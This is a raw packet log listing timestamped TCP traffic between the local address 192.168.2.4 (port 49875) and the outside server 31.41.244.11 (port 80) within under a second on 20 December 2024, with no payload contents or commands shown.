Dec 20, 2024 04:12:47.166261911 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.166301966 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.166366100 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.166408062 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.167325020 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.167366028 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.167453051 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.167494059 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.168420076 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.168463945 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.168524027 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.168562889 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.169531107 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.169573069 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.169631004 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.169671059 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.170648098 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.170696020 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.170775890 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.170818090 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.171756983 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.171802998 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.171878099 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.171920061 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.172856092 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.172903061 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.172955990 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.172996044 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.173942089 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.173985004 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.174037933 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.174078941 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.175297976 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.175345898 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.175548077 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.175585032 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.176182985 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.176229000 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.176289082 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.176326036 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.177287102 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.177330971 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.177361965 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.177402020 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.178411007 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.178452015 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.178468943 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.178508997 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.179492950 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.179534912 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.179588079 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.179629087 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.180594921 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.180630922 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.180737019 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.180778027 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.181694031 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.181739092 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.181770086 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.181811094 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.182812929 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.182853937 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.183022022 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.183064938 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.183923006 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.183969021 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.184031963 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.184072971 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.185019970 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.185064077 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.185086966 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.185127974 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.186120987 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.186180115 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.186242104 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.186281919 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.187242031 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.187283993 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.187361002 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.187402964 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.188332081 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.188379049 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.188422918 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.188465118 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.189457893 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.189500093 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.189587116 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.189627886 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.190567017 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.190609932 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.190661907 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.190702915 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.191682100 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.191724062 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.191793919 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.191833019 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.192811012 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.192859888 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.192914009 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.192955017 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.193912029 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.193950891 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.194020033 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.194058895 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.194977999 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.195027113 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.195091009 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.195131063 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.196084023 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.196126938 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.196183920 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.196228981 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.197223902 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.197268963 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.197298050 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.197340012 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.198317051 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.198362112 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.198386908 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.198432922 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.199434042 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.199477911 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.199505091 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.199537992 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.200508118 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.200551987 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.200614929 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.200659037 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.201638937 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.201683998 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.201738119 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.201777935 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.202730894 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.202776909 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.202819109 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.202858925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.203834057 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.203876972 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.203950882 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.203989983 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.204937935 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.204978943 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.205053091 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.205092907 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.206057072 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.206099987 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.206172943 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.206208944 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.207170963 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.207214117 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.207338095 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.207379103 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.208257914 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.208298922 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.208384037 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.208421946 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.209382057 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.209423065 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.209496975 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.209536076 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.210479021 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.210521936 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.210591078 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.210629940 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.211585045 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.211626053 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.211714983 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.211770058 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.346376896 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.346426964 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.346450090 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.346487045 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.346904993 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.346918106 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.346956015 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.347981930 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.348026991 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.348079920 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.348121881 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.349123001 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.349169970 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.349425077 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.349466085 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.349528074 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.349567890 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.350565910 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.350604057 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.350713968 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.350755930 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.351644993 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.351686954 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.351748943 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.351785898 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.352747917 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.352790117 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.352847099 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.352885962 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.353848934 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.353893042 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.353955984 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.353997946 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.354964972 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.355009079 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.355123043 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.355163097 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.356070042 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.356112957 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.356291056 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.356333971 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.357198954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.357240915 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.357296944 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.357336998 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.358345985 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.358400106 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.358432055 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.358469009 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.359455109 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.359497070 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.359504938 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.359535933 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.360481977 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.360527039 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.360585928 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.360620975 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.361614943 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.361658096 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.361773014 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.361815929 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.362719059 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.362760067 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.362816095 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.362862110 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.363851070 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.363894939 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.363976002 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.364017010 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.364928961 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.364969969 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.365101099 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.365143061 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.366018057 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.366065979 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.366137981 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.366175890 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.367139101 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.367177010 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.367192030 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.367230892 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.368230104 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.368273020 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.368340015 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.368381023 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.369450092 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.369493961 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.369560003 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.369604111 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.370445013 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.370488882 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.370547056 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.370592117 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.371560097 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.371599913 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.371685028 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.371723890 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.372664928 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.372709990 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.372766018 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.372806072 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.373775959 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.373816013 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.373869896 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.373909950 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.374892950 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.374933004 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.374979019 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.375020027 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.375988960 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.376033068 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.376100063 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.376140118 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.377130985 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.377203941 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.377249002 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.377286911 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.378207922 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.378246069 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.378328085 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.378369093 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.379318953 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.379359007 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.379416943 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.379453897 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.380415916 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.380462885 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.380476952 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.380515099 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.381541014 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.381588936 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.381690979 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.381724119 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.382668972 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.382714987 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.382767916 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.382807970 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.383728027 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.383770943 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.383820057 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.383861065 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.384835005 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.384875059 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.384954929 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.384989023 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.385981083 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.386017084 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.386091948 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.386127949 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.387062073 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.387106895 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.387181044 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.387223005 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.388171911 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.388211012 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.388233900 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.388273954 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.389240026 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.389281988 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.389349937 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.389393091 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.390367031 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.390410900 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.390553951 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.390595913 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.391462088 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.391498089 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.391514063 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.391556025 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.392590046 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.392633915 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.392693996 CET	80	49875	31.41.244.11	192.168.2.4
